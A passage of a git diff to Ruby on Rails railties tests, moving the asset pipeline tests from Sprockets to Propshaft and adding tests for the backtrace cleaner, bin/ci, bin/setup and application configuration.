+      assert_predicate globbed, :one?, "Found #{globbed.size} files matching #{filename}. All files in the directory: #{Dir.entries(File.dirname(filename)).inspect}"
     end
 
     def assert_no_file_exists(filename)
-      assert !File.exist?(filename), "#{filename} does exist"
+      assert_not File.exist?(filename), "#{filename} does exist"
     end
 
     test "assets routes have higher priority" do
-      app_file "app/assets/images/rails.png", "notactuallyapng"
-      app_file "app/assets/javascripts/demo.js.erb", "a = <%= image_path('rails.png').inspect %>;"
-
+      app_file "app/assets/javascripts/demo-sha1_string.digested.js", "a = 1+1;"
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
           get '*path', to: lambda { |env| [200, { "Content-Type" => "text/html" }, ["Not an asset"]] }
         end
       RUBY
 
-      add_to_env_config "development", "config.assets.digest = false"
-
-      # FIXME: shush Sass warning spam, not relevant to testing Railties
-      Kernel.silence_warnings do
-        require "#{app_path}/config/environment"
-      end
+      get "/assets/demo-sha1_string.digested.js"
 
-      get "/assets/demo.js"
-      assert_equal 'a = "/assets/rails.png";', last_response.body.strip
-    end
-
-    test "assets do not require compressors until it is used" do
-      app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
-      add_to_env_config "production", "config.assets.compile = true"
-      add_to_env_config "production", "config.assets.precompile = []"
-
-      # Load app env
-      app "production"
-
-      assert !defined?(Uglifier)
-      get "/assets/demo.js"
-      assert_match "alert()", last_response.body
-      assert defined?(Uglifier)
+      assert_equal "a = 1+1;", last_response.body.strip
     end
 
     test "precompile creates the file, gives it the original asset's content and run in production as default" do
-      app_file "app/assets/config/manifest.js", "//= link_tree ../javascripts"
       app_file "app/assets/javascripts/application.js", "alert();"
       app_file "app/assets/javascripts/foo/application.js", "alert();"
 
@@ -99,7 +70,6 @@ def assert_no_file_exists(filename)
     end
 
     def test_precompile_does_not_hit_the_database
-      app_file "app/assets/config/manifest.js", "//= link_tree ../javascripts"
       app_file "app/assets/javascripts/application.js", "alert();"
       app_file "app/assets/javascripts/foo/application.js", "alert();"
       app_file "app/controllers/users_controller.rb", <<-eoruby
@@ -121,73 +91,19 @@ class User < ActiveRecord::Base; raise 'should not be reached'; end
       end
     end
 
-    test "precompile application.js and application.css and all other non JS/CSS files" do
-      app_file "app/assets/javascripts/application.js", "alert();"
-      app_file "app/assets/stylesheets/application.css", "body{}"
-
-      app_file "app/assets/javascripts/someapplication.js", "alert();"
-      app_file "app/assets/stylesheets/someapplication.css", "body{}"
-
-      app_file "app/assets/javascripts/something.min.js", "alert();"
-      app_file "app/assets/stylesheets/something.min.css", "body{}"
-
-      app_file "app/assets/javascripts/something.else.js.erb", "alert();"
-      app_file "app/assets/stylesheets/something.else.css.erb", "body{}"
-
-      images_should_compile = ["a.png", "happyface.png", "happy_face.png", "happy.face.png",
-                               "happy-face.png", "happy.happy_face.png", "happy_happy.face.png",
-                               "happy.happy.face.png", "-happy.png", "-happy.face.png",
-                               "_happy.face.png", "_happy.png"]
-
-      images_should_compile.each do |filename|
-        app_file "app/assets/images/#{filename}", "happy"
-      end
-
-      precompile!
-
-      images_should_compile = ["a-*.png", "happyface-*.png", "happy_face-*.png", "happy.face-*.png",
-                               "happy-face-*.png", "happy.happy_face-*.png", "happy_happy.face-*.png",
-                               "happy.happy.face-*.png", "-happy-*.png", "-happy.face-*.png",
-                               "_happy.face-*.png", "_happy-*.png"]
-
-      images_should_compile.each do |filename|
-        assert_file_exists("#{app_path}/public/assets/#{filename}")
-      end
-
-      assert_file_exists("#{app_path}/public/assets/application-*.js")
-      assert_file_exists("#{app_path}/public/assets/application-*.css")
-
-      assert_no_file_exists("#{app_path}/public/assets/someapplication-*.js")
-      assert_no_file_exists("#{app_path}/public/assets/someapplication-*.css")
-
-      assert_no_file_exists("#{app_path}/public/assets/something.min-*.js")
-      assert_no_file_exists("#{app_path}/public/assets/something.min-*.css")
-
-      assert_no_file_exists("#{app_path}/public/assets/something.else-*.js")
-      assert_no_file_exists("#{app_path}/public/assets/something.else-*.css")
-    end
-
-    test "precompile something.js for directory containing index file" do
-      add_to_config "config.assets.precompile = [ 'something.js' ]"
-      app_file "app/assets/javascripts/something/index.js.erb", "alert();"
-
-      precompile!
-
-      assert_file_exists("#{app_path}/public/assets/something/index-*.js")
-    end
-
     test "precompile use assets defined in app env config" do
-      add_to_env_config "production", 'config.assets.precompile = [ "something.js" ]'
-      app_file "app/assets/javascripts/something.js.erb", "alert();"
+      add_to_env_config "production", 'config.assets.paths = [ "app/assets/javascripts" ]'
+      app_file "app/assets/javascripts/something.js", "alert();"
 
       precompile! RAILS_ENV: "production"
 
       assert_file_exists("#{app_path}/public/assets/something-*.js")
     end
 
-    test "sprockets cache is not shared between environments" do
+    test "propshaft cache is not shared between environments" do
       app_file "app/assets/images/rails.png", "notactuallyapng"
-      app_file "app/assets/stylesheets/application.css.erb", "body { background: '<%= asset_path('rails.png') %>'; }"
+      remove_file "app/assets/stylesheets/application.css"
+      app_file "app/assets/stylesheets/application.css", "body { background: url('rails.png'); }"
       add_to_env_config "production", 'config.assets.prefix = "production_assets"'
 
       precompile!
@@ -205,81 +121,62 @@ class User < ActiveRecord::Base; raise 'should not be reached'; end
       assert_match(/production_assets\/rails-([0-z]+)\.png/, File.read(file))
     end
 
-    test "precompile use assets defined in app config and reassigned in app env config" do
-      add_to_config 'config.assets.precompile = [ "something_manifest.js" ]'
-      add_to_env_config "production", 'config.assets.precompile += [ "another_manifest.js" ]'
-
-      app_file "app/assets/config/something_manifest.js", "//= link something.js"
-      app_file "app/assets/config/another_manifest.js", "//= link another.js"
-
-      app_file "app/assets/javascripts/something.js.erb", "alert();"
-      app_file "app/assets/javascripts/another.js.erb", "alert();"
-
-      precompile! RAILS_ENV: "production"
-
-      assert_file_exists("#{app_path}/public/assets/something_manifest-*.js")
-      assert_file_exists("#{app_path}/public/assets/something-*.js")
-      assert_file_exists("#{app_path}/public/assets/another_manifest-*.js")
-      assert_file_exists("#{app_path}/public/assets/another-*.js")
-    end
-
-    test "asset pipeline should use a Sprockets::CachedEnvironment when config.assets.digest is true" do
+    test "asset pipeline should use a Propshaft::Assembly" do
       add_to_config "config.action_controller.perform_caching = false"
-      add_to_env_config "production", "config.assets.compile = true"
 
-      # Load app env
       app "production"
 
-      assert_equal Sprockets::CachedEnvironment, Rails.application.assets.class
+      assert_equal Propshaft::Assembly, Rails.application.assets.class
     end
 
     test "precompile creates a manifest file with all the assets listed" do
       app_file "app/assets/images/rails.png", "notactuallyapng"
-      app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
-      app_file "app/assets/javascripts/application.js", "alert();"
+      remove_file "app/assets/stylesheets/application.css"
+      app_file "app/assets/stylesheets/application.css", "body { background: url('rails.png'); }"
 
       precompile!
 
-      manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first
+      manifest = Dir["#{app_path}/public/assets/.manifest.json"].first
       assets = ActiveSupport::JSON.decode(File.read(manifest))
-      assert_match(/application-([0-z]+)\.js/, assets["assets"]["application.js"])
-      assert_match(/application-([0-z]+)\.css/, assets["assets"]["application.css"])
+      assert_match(/application-([0-z]+)\.css/, digested_path(assets, "application.css"))
+      assert_match(/rails-([0-z]+)\.png/, digested_path(assets, "rails.png"))
     end
 
     test "the manifest file should be saved by default in the same assets folder" do
-      app_file "app/assets/javascripts/application.js", "alert();"
+      app_file "app/assets/stylesheets/test.css", "a{color: red}"
       add_to_config "config.assets.prefix = '/x'"
 
       precompile!
 
-      manifest = Dir["#{app_path}/public/x/.sprockets-manifest-*.json"].first
+      manifest = Dir["#{app_path}/public/x/.manifest.json"].first
       assets = ActiveSupport::JSON.decode(File.read(manifest))
-      assert_match(/application-([0-z]+)\.js/, assets["assets"]["application.js"])
+      assert_match(/test-([0-z]+)\.css/, digested_path(assets, "test.css"))
     end
 
     test "assets do not require any assets group gem when manifest file is present" do
       app_file "app/assets/javascripts/application.js", "alert();"
-      add_to_env_config "production", "config.public_file_server.enabled = true"
+      app_file "app/assets/config/manifest.js", "//= link application.js"
 
       precompile! RAILS_ENV: "production"
 
-      manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first
+      manifest = Dir["#{app_path}/public/assets/.manifest.json"].first
       assets = ActiveSupport::JSON.decode(File.read(manifest))
-      asset_path = assets["assets"]["application.js"]
+      asset_path = digested_path(assets, "application.js")
 
       # Load app env
       app "production"
 
-      # Checking if Uglifier is defined we can know if Sprockets was reached or not
-      assert !defined?(Uglifier)
-      get "/assets/#{asset_path}"
+      # Checking if Uglifier is defined we can know if Propshaft was reached or not
+      assert_not defined?(Uglifier)
+      get("/assets/#{asset_path}", {}, "HTTPS" => "on")
       assert_match "alert()", last_response.body
-      assert !defined?(Uglifier)
+      assert_not defined?(Uglifier)
     end
 
-    test "precompile properly refers files referenced with asset_path" do
+    test "precompile properly refers files referenced with url" do
       app_file "app/assets/images/rails.png", "notactuallyapng"
-      app_file "app/assets/stylesheets/application.css.erb", "p { background-image: url(<%= asset_path('rails.png') %>) }"
+      remove_file "app/assets/stylesheets/application.css"
+      app_file "app/assets/stylesheets/application.css", "p { background-image: url('rails.png') }"
 
       precompile!
 
@@ -290,25 +187,27 @@ class User < ActiveRecord::Base; raise 'should not be reached'; end
     test "precompile shouldn't use the digests present in manifest.json" do
       app_file "app/assets/images/rails.png", "notactuallyapng"
 
-      app_file "app/assets/stylesheets/application.css.erb", "p { background-image: url(<%= asset_path('rails.png') %>) }"
+      remove_file "app/assets/stylesheets/application.css"
+      app_file "app/assets/stylesheets/application.css", "p { background-image: url('rails.png') }"
 
       precompile! RAILS_ENV: "production"
 
-      manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first
+      manifest = Dir["#{app_path}/public/assets/.manifest.json"].first
       assets = ActiveSupport::JSON.decode(File.read(manifest))
-      asset_path = assets["assets"]["application.css"]
+      asset_path = assets["application.css"]
 
       app_file "app/assets/images/rails.png", "p { url: change }"
 
       precompile!
 
       assets = ActiveSupport::JSON.decode(File.read(manifest))
-      assert_not_equal asset_path, assets["assets"]["application.css"]
+      assert_not_equal asset_path, assets["application.css"]
     end
 
-    test "precompile appends the MD5 hash to files referenced with asset_path and run in production with digest true" do
+    test "precompile appends the SHA1 hash to files referenced with url and run in production" do
       app_file "app/assets/images/rails.png", "notactuallyapng"
-      app_file "app/assets/stylesheets/application.css.erb", "p { background-image: url(<%= asset_path('rails.png') %>) }"
+      remove_file "app/assets/stylesheets/application.css"
+      app_file "app/assets/stylesheets/application.css", "p { background-image: url('rails.png') }"
 
       precompile! RAILS_ENV: "production"
 
@@ -319,19 +218,18 @@ class User < ActiveRecord::Base; raise 'should not be reached'; end
     test "precompile should handle utf8 filenames" do
       filename = "レイルズ.png"
       app_file "app/assets/images/#{filename}", "not an image really"
-      app_file "app/assets/config/manifest.js", "//= link_tree ../images"
-      add_to_config "config.assets.precompile = %w(manifest.js)"
 
       precompile!
 
-      manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first
+      manifest = Dir["#{app_path}/public/assets/.manifest.json"].first
       assets = ActiveSupport::JSON.decode(File.read(manifest))
-      assert asset_path = assets["assets"].find { |(k, _)| k && k =~ /.png/ }[1]
+      assert asset = assets.find { |(k, _)| /.png/.match?(k) }[1]
+      asset_path = asset.is_a?(Hash) ? asset["digested_path"] : asset
 
       # Load app env
       app "development"
 
-      get "/assets/#{URI.parser.escape(asset_path)}"
+      get "/assets/#{URI::RFC2396_PARSER.escape(asset_path)}"
       assert_match "not an image really", last_response.body
       assert_file_exists("#{app_path}/public/assets/#{asset_path}")
     end
@@ -347,19 +245,8 @@ class User < ActiveRecord::Base; raise 'should not be reached'; end
       assert_equal 0, files.length, "Expected no assets, but found #{files.join(', ')}"
     end
 
-    test "assets routes are not drawn when compilation is disabled" do
-      app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
-      add_to_config "config.assets.compile = false"
-
-      # Load app env
-      app "production"
-
-      get "/assets/demo.js"
-      assert_equal 404, last_response.status
-    end
-
     test "does not stream session cookies back" do
-      app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();"
+      app_file "app/assets/javascripts/demo-sha1_digest.digested.js", "alert();"
 
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
@@ -367,11 +254,6 @@ class User < ActiveRecord::Base; raise 'should not be reached'; end
         end
       RUBY
 
-      add_to_env_config "development", "config.assets.digest = false"
-
-      # Load app env
-      app "development"
-
       class ::OmgController < ActionController::Base
         def index
           flash[:cool_story] = true
@@ -382,55 +264,11 @@ def index
       get "/omg"
       assert_equal "ok", last_response.body
 
-      get "/assets/demo.js"
+      get "/assets/demo-sha1_digest.digested.js"
       assert_match "alert()", last_response.body
       assert_nil last_response.headers["Set-Cookie"]
     end
 
-    test "files in any assets/ directories are not added to Sprockets" do
-      %w[app lib vendor].each do |dir|
-        app_file "#{dir}/assets/#{dir}_test.erb", "testing"
-      end
-
-      app_file "app/assets/javascripts/demo.js", "alert();"
-
-      add_to_env_config "development", "config.assets.digest = false"
-
-      # Load app env
-      app "development"
-
-      get "/assets/demo.js"
-      assert_match "alert();", last_response.body
-      assert_equal 200, last_response.status
-    end
-
-    test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do
-      app_with_assets_in_view
-
-      # config.assets.debug and config.assets.compile are false for production environment
-      precompile! RAILS_ENV: "production"
-
-      # Load app env
-      app "production"
-
-      class ::PostsController < ActionController::Base ; end
-
-      # the debug_assets params isn't used if compile is off
-      get "/posts?debug_assets=true"
-      assert_match(/<script src="\/assets\/application-([0-z]+)\.js"><\/script>/, last_response.body)
-      assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js"><\/script>/, last_response.body)
-    end
-
-    test "assets can access model information when precompiling" do
-      app_file "app/models/post.rb", "class Post; end"
-      app_file "app/assets/javascripts/application.js", "//= require_tree ."
-      app_file "app/assets/javascripts/xmlhr.js.erb", "<%= Post.name %>"
-
-      precompile!
-
-      assert_match(/Post;/, File.read(Dir["#{app_path}/public/assets/application-*.js"].first))
-    end
-
     test "initialization on the assets group should set assets_dir" do
       require "#{app_path}/config/application"
       Rails.application.initialize!(:assets)
@@ -444,13 +282,12 @@ class ::PostsController < ActionController::Base ; end
     end
 
     test "digested assets are not mistakenly removed" do
-      app_file "app/assets/application.js", "alert();"
-      add_to_config "config.assets.compile = true"
+      app_file "app/assets/application.css", "div { font-weight: bold }"
 
       precompile!
 
-      files = Dir["#{app_path}/public/assets/application-*.js"]
-      assert_equal 1, files.length, "Expected digested application.js asset to be generated, but none found"
+      files = Dir["#{app_path}/public/assets/application-*.css"]
+      assert_equal 1, files.length, "Expected digested application.css asset to be generated, but none found"
     end
 
     test "digested assets are removed from configured path" do
@@ -465,58 +302,33 @@ class ::PostsController < ActionController::Base ; end
       assert_equal 0, files.length, "Expected application.js asset to be removed, but still exists"
     end
 
-    test "asset urls should use the request's protocol by default" do
+    test "asset URLs should use the request's protocol by default" do
       app_with_assets_in_view
       add_to_config "config.asset_host = 'example.com'"
-      add_to_env_config "development", "config.assets.digest = false"
-
-      # Load app env
-      app "development"
 
       class ::PostsController < ActionController::Base; end
 
-      get "/posts", {}, "HTTPS" => "off"
-      assert_match('src="http://example.com/assets/application.self.js', last_response.body)
-      get "/posts", {}, "HTTPS" => "on"
-      assert_match('src="https://example.com/assets/application.self.js', last_response.body)
-    end
-
-    test "asset urls should be protocol-relative if no request is in scope" do
-      app_file "app/assets/images/rails.png", "notreallyapng"
-      app_file "app/assets/javascripts/image_loader.js.erb", "var src='<%= image_path('rails.png') %>';"
-      add_to_config "config.assets.precompile = %w{rails.png image_loader.js}"
-      add_to_config "config.asset_host = 'example.com'"
-      add_to_env_config "development", "config.assets.digest = false"
-
-      precompile!
-
-      assert_match "src='//example.com/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/image_loader-*.js"].first)
-    end
-
-    test "asset paths should use RAILS_RELATIVE_URL_ROOT by default" do
-      ENV["RAILS_RELATIVE_URL_ROOT"] = "/sub/uri"
-      app_file "app/assets/images/rails.png", "notreallyapng"
-      app_file "app/assets/javascripts/app.js.erb", "var src='<%= image_path('rails.png') %>';"
-      add_to_config "config.assets.precompile = %w{rails.png app.js}"
-      add_to_env_config "development", "config.assets.digest = false"
-
-      precompile!
-
-      assert_match "src='/sub/uri/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/app-*.js"].first)
+      get "/posts", {}, { "HTTPS" => "off" }
+      assert_match('src="http://example.com/assets/application-72d8340d.js', last_response.body)
+      get "/posts", {}, { "HTTPS" => "on" }
+      assert_match('src="https://example.com/assets/application-72d8340d.js', last_response.body)
     end
 
     private
+      def digested_path(assets, name)
+        asset = assets[name]
+        asset.is_a?(Hash) ? asset["digested_path"] : asset
+      end
 
       def app_with_assets_in_view
-        app_file "app/assets/javascripts/application.js", "//= require_tree ."
-        app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }"
+        app_file "app/assets/javascripts/application.js", "function f1() { alert(); }"
         app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>"
 
         app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
           get '/posts', :to => "posts#index"
         end
-      RUBY
+        RUBY
       end
   end
 end
diff --git a/railties/test/application/backtrace_cleaner_test.rb b/railties/test/application/backtrace_cleaner_test.rb
new file mode 100644
index 0000000000000..c8c4f927c1912
--- /dev/null
+++ b/railties/test/application/backtrace_cleaner_test.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "env_helpers"
+
+module ApplicationTests
+  class BacktraceCleanerTest < ActiveSupport::TestCase
+    include EnvHelpers
+
+    setup do
+      @cleaner = Rails::BacktraceCleaner.new
+    end
+
+    test "#clean silences Rails code from backtrace" do
+      backtrace = [
+        "app/controllers/foo_controller.rb:4:in 'index'",
+        "#{Gem.default_dir}/gems/railties-1.2.3/lib/rails/engine.rb:536:in `call"
+      ]
+
+      cleaned = @cleaner.clean(backtrace)
+
+      assert_equal ["app/controllers/foo_controller.rb:4:in 'index'"], cleaned
+    end
+
+    test "#clean does not silence when BACKTRACE is set" do
+      switch_env("BACKTRACE", "1") do
+        backtrace = [
+          "app/app/controllers/foo_controller.rb:4:in 'index'",
+          "#{Gem.default_dir}/gems/railties-1.2.3/lib/rails/engine.rb:536:in `call"
+        ]
+
+        cleaned = @cleaner.clean(backtrace)
+
+        assert_equal backtrace, cleaned
+      end
+    end
+
+    test "#clean_frame silences Rails code" do
+      frame = "#{Gem.default_dir}/gems/railties-1.2.3/lib/rails/engine.rb:536:in `call"
+
+      cleaned = @cleaner.clean_frame(frame)
+
+      assert_nil cleaned
+    end
+
+    test "#clean_frame does not silence when BACKTRACE is set" do
+      switch_env("BACKTRACE", "1") do
+        frame = "#{Gem.default_dir}/gems/railties-1.2.3/lib/rails/engine.rb:536:in `call"
+
+        cleaned = @cleaner.clean_frame(frame)
+
+        assert_equal frame, cleaned
+      end
+    end
+  end
+end
diff --git a/railties/test/application/bin_ci_test.rb b/railties/test/application/bin_ci_test.rb
new file mode 100644
index 0000000000000..46af73dc74d25
--- /dev/null
+++ b/railties/test/application/bin_ci_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class BinCiTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    setup :build_app
+    teardown :teardown_app
+
+    test "bin/ci exists and is executable with default content" do
+      Dir.chdir(app_path) do
+        assert File.exist?("bin/ci"), "bin/ci does not exist"
+        assert File.executable?("bin/ci"), "bin/ci is not executable"
+
+        content = File.read("config/ci.rb")
+
+        # Default steps
+        assert_match(/bin\/rubocop/, content)
+        assert_match(/bin\/brakeman/, content)
+        assert_match(/bin\/bundler-audit/, content)
+        assert_match(/"bin\/rails test"$/, content)
+        assert_match(/"bin\/rails test:system"$/, content)
+        assert_match(/bin\/rails db:seed:replant/, content)
+
+        # Node-specific steps excluded by default
+        assert_no_match(/yarn audit/, content)
+
+        # GitHub signoff is commented
+        assert_match(/# .*gh signoff/, content)
+      end
+    end
+  end
+end
diff --git a/railties/test/application/bin_setup_test.rb b/railties/test/application/bin_setup_test.rb
index 0fb995900f1f7..19b803cf48ef0 100644
--- a/railties/test/application/bin_setup_test.rb
+++ b/railties/test/application/bin_setup_test.rb
@@ -1,58 +1,62 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
   class BinSetupTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
-    def setup
-      build_app
-    end
-
-    def teardown
-      teardown_app
-    end
+    setup :build_app
+    teardown :teardown_app
 
     def test_bin_setup
       Dir.chdir(app_path) do
-        app_file "db/schema.rb", <<-RUBY
-          ActiveRecord::Schema.define(version: 20140423102712) do
-            create_table(:articles) {}
-          end
-        RUBY
+        rails "generate", "model", "article"
 
-        list_tables = lambda { `bin/rails runner 'p ActiveRecord::Base.connection.tables'`.strip }
+        list_tables = lambda { rails("runner", "p ActiveRecord::Base.lease_connection.tables.sort").strip }
         File.write("log/test.log", "zomg!")
 
         assert_equal "[]", list_tables.call
         assert_equal 5, File.size("log/test.log")
         assert_not File.exist?("tmp/restart.txt")
-        `bin/setup 2>&1`
+
+        `bin/setup --skip-server 2>&1`
         assert_equal 0, File.size("log/test.log")
-        assert_equal '["articles", "schema_migrations", "ar_internal_metadata"]', list_tables.call
-        assert File.exist?("tmp/restart.txt")
+        assert_equal '["ar_internal_metadata", "articles", "schema_migrations"]', list_tables.call
       end
     end
 
     def test_bin_setup_output
       Dir.chdir(app_path) do
+        # SQLite3 seems to auto-create the database on first checkout.
+        rails "db:system:change", "--to=postgresql"
+        rails "db:drop", allow_failure: true
+
         app_file "db/schema.rb", ""
 
-        output = `bin/setup 2>&1`
+        output = `bin/setup --skip-server 2>&1`
 
         # Ignore line that's only output by Bundler < 1.14
         output.sub!(/^Resolving dependencies\.\.\.\n/, "")
+        # Suppress Bundler platform warnings from output
+        output.gsub!(/^The dependency .* will be unused .*\.\n/, "")
+        # Ignores dynamic data by yarn
+        output.sub!(/^yarn install v.*?$/, "yarn install")
+        output.sub!(/^\[.*?\] Resolving packages\.\.\.$/, "[1/4] Resolving packages...")
+        output.sub!(/^Done in \d+\.\d+s\.\n/, "Done in 0.00s.\n")
+        # Ignore warnings such as `Psych.safe_load is deprecated`
+        output.gsub!(/^.*warning:\s.*\n/, "")
+        output.gsub!(/^A new release of RubyGems is available.*\n.*\n/, "")
 
-        assert_equal(<<-OUTPUT, output)
-== Installing dependencies ==
-The Gemfile's dependencies are satisfied
-
-== Preparing database ==
-Created database 'db/development.sqlite3'
-Created database 'db/test.sqlite3'
+        assert_equal(<<~OUTPUT, output)
+          == Installing dependencies ==
+          The Gemfile's dependencies are satisfied
 
-== Removing old logs and tempfiles ==
+          == Preparing database ==
+          Created database 'app_development'
+          Created database 'app_test'
 
-== Restarting application server ==
+          == Removing old logs and tempfiles ==
         OUTPUT
       end
     end
diff --git a/railties/test/application/configuration/custom_test.rb b/railties/test/application/configuration/custom_test.rb
index 8360b7bf4b9b3..1243ebac0394d 100644
--- a/railties/test/application/configuration/custom_test.rb
+++ b/railties/test/application/configuration/custom_test.rb
@@ -1,11 +1,15 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
   module ConfigurationTests
     class CustomTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation
+
       def setup
         build_app
-        FileUtils.rm_rf("#{app_path}/config/environments")
+        reset_environment_configs
       end
 
       def teardown
@@ -31,9 +35,13 @@ def teardown
         assert_nil x.i_do_not_exist.zomg
 
         # test that custom configuration responds to all messages
-        assert_equal true, x.respond_to?(:i_do_not_exist)
+        assert_respond_to x, :i_do_not_exist
         assert_kind_of Method, x.method(:i_do_not_exist)
         assert_kind_of ActiveSupport::OrderedOptions, x.i_do_not_exist
+
+        assert_raises ArgumentError, match: "wrong number of arguments (given 1, expected 0) when reading configuration `i_do_not_exist`" do
+          x.i_do_not_exist(false)
+        end
       end
 
       private
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
index 14433fbba0e34..70d0a4edec3bb 100644
--- a/railties/test/application/configuration_test.rb
+++ b/railties/test/application/configuration_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 require "rack/test"
 require "env_helpers"
@@ -20,6 +22,21 @@ def self.delivered_email(email); email; end
 
 class ::MyOtherMailObserver < ::MyMailObserver; end
 
+class ::MySafeListSanitizer < Rails::HTML4::SafeListSanitizer; end
+
+class ::MySanitizerVendor < ::Rails::HTML::Sanitizer
+  def self.safe_list_sanitizer
+    ::MySafeListSanitizer
+  end
+end
+
+class ::MyCustomKeyProvider
+  attr_reader :primary_key
+  def initialize(primary_key); @primary_key = primary_key; end
+end
+
+class ::MyOldKeyProvider; end
+
 module ApplicationTests
   class ConfigurationTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
@@ -38,10 +55,7 @@ def app(env = "development")
       @app ||= begin
         ENV["RAILS_ENV"] = env
 
-        # FIXME: shush Sass warning spam, not relevant to testing Railties
-        Kernel.silence_warnings do
-          require "#{app_path}/config/environment"
-        end
+        require "#{app_path}/config/environment"
 
         Rails.application
       ensure
@@ -49,6 +63,14 @@ def app(env = "development")
       end
     end
 
+    def switch_development_hosts_to(*hosts)
+      old_development_hosts = ENV["RAILS_DEVELOPMENT_HOSTS"]
+      ENV["RAILS_DEVELOPMENT_HOSTS"] = hosts.join(",")
+      yield
+    ensure
+      ENV["RAILS_DEVELOPMENT_HOSTS"] = old_development_hosts
+    end
+
     def setup
       build_app
       suppress_default_config
@@ -66,6 +88,7 @@ def suppress_default_config
     def restore_default_config
       FileUtils.rm_rf("#{app_path}/config/environments")
       FileUtils.mv("#{app_path}/config/__environments__", "#{app_path}/config/environments")
+      remove_from_env_config "production", "config.log_level = :error"
     end
 
     test "Rails.env does not set the RAILS_ENV environment variable which would leak out into rake tasks" do
@@ -95,7 +118,7 @@ def restore_default_config
 
       with_rails_env "development" do
         app "development"
-        assert Rails.application.config.log_tags.blank?
+        assert_predicate Rails.application.config.log_tags, :blank?
       end
     end
 
@@ -115,7 +138,7 @@ class MyLogger < ::Logger
         end
       RUBY
       add_to_top_of_config <<-RUBY
-        require 'my_logger'
+        require "my_logger"
         config.logger = MyLogger.new STDOUT
       RUBY
 
@@ -124,11 +147,23 @@ class MyLogger < ::Logger
       assert_equal "MyLogger", Rails.application.config.logger.class.name
     end
 
-    test "a renders exception on pending migration" do
+    test "raises an error if cache does not support recyclable cache keys" do
+      build_app(initializers: true)
+      add_to_env_config "production", "config.cache_store = Class.new {}.new"
+      add_to_env_config "production", "config.active_record.cache_versioning = true"
+
+      error = assert_raise(RuntimeError) do
+        app "production"
+      end
+
+      assert_match(/You're using a cache/, error.message)
+    end
+
+    test "renders an exception on pending migration" do
       add_to_config <<-RUBY
         config.active_record.migration_error    = :page_load
         config.consider_all_requests_local      = true
-        config.action_dispatch.show_exceptions  = true
+        config.action_dispatch.show_exceptions  = :all
       RUBY
 
       app_file "db/migrate/20140708012246_create_user.rb", <<-RUBY
@@ -141,12 +176,86 @@ def change
 
       app "development"
 
-      ActiveRecord::Migrator.migrations_paths = ["#{app_path}/db/migrate"]
+      begin
+        ActiveRecord::Migrator.migrations_paths = ["#{app_path}/db/migrate"]
+
+        get "/foo"
+        assert_equal 500, last_response.status
+        assert_match "ActiveRecord::PendingMigrationError", last_response.body
+
+        assert_changes -> { File.exist?(File.join(app_path, "db", "schema.rb")) }, from: false, to: true do
+          output = capture(:stdout) do
+            post "/rails/actions", { error: "ActiveRecord::PendingMigrationError", action: "Run pending migrations", location: "/foo" }
+          end
+
+          assert_match(/\d{14}\s+CreateUser/, output)
+        end
+
+        assert_equal 302, last_response.status
+
+        get "/foo"
+        assert_equal 404, last_response.status
+      ensure
+        ActiveRecord::Migrator.migrations_paths = nil
+      end
+    end
+
+    test "renders an exception on pending migration for multiple DBs" do
+      add_to_config <<-RUBY
+        config.active_record.migration_error    = :page_load
+        config.consider_all_requests_local      = true
+        config.action_dispatch.show_exceptions  = :all
+      RUBY
+
+      app_file "config/database.yml", <<-YAML
+        <%= Rails.env %>:
+          primary:
+            adapter: sqlite3
+            database: 'dev_db'
+          other:
+            adapter: sqlite3
+            database: 'other_dev_db'
+            migrations_paths: db/other_migrate
+      YAML
+
+      app_file "db/migrate/20140708012246_create_users.rb", <<-RUBY
+        class CreateUsers < ActiveRecord::Migration::Current
+          def change
+            create_table :users
+          end
+        end
+      RUBY
+
+      app_file "db/other_migrate/20140708012247_create_blogs.rb", <<-RUBY
+        class CreateBlogs < ActiveRecord::Migration::Current
+          def change
+            create_table :blogs
+          end
+        end
+      RUBY
+
+      app "development"
 
       begin
+        ActiveRecord::Migrator.migrations_paths = ["#{app_path}/db/migrate", "#{app_path}/db/other_migrate"]
+
         get "/foo"
         assert_equal 500, last_response.status
         assert_match "ActiveRecord::PendingMigrationError", last_response.body
+
+        assert_changes -> { File.exist?(File.join(app_path, "db", "schema.rb")) }, from: false, to: true do
+          output = capture(:stdout) do
+            post "/rails/actions", { error: "ActiveRecord::PendingMigrationError", action: "Run pending migrations", location: "/foo" }
+          end
+
+          assert_match(/\d{14}\s+CreateUsers/, output)
+          assert_match(/\d{14}\s+CreateBlogs/, output)
+        end
+
+        assert_equal 302, last_response.status
+
+        get "/foo"
+        assert_equal 404, last_response.status
       ensure
         ActiveRecord::Migrator.migrations_paths = nil
       end
@@ -176,13 +285,13 @@ def change
 
     test "Rails.application responds to all instance methods" do
       app "development"
-      assert_respond_to Rails.application, :routes_reloader
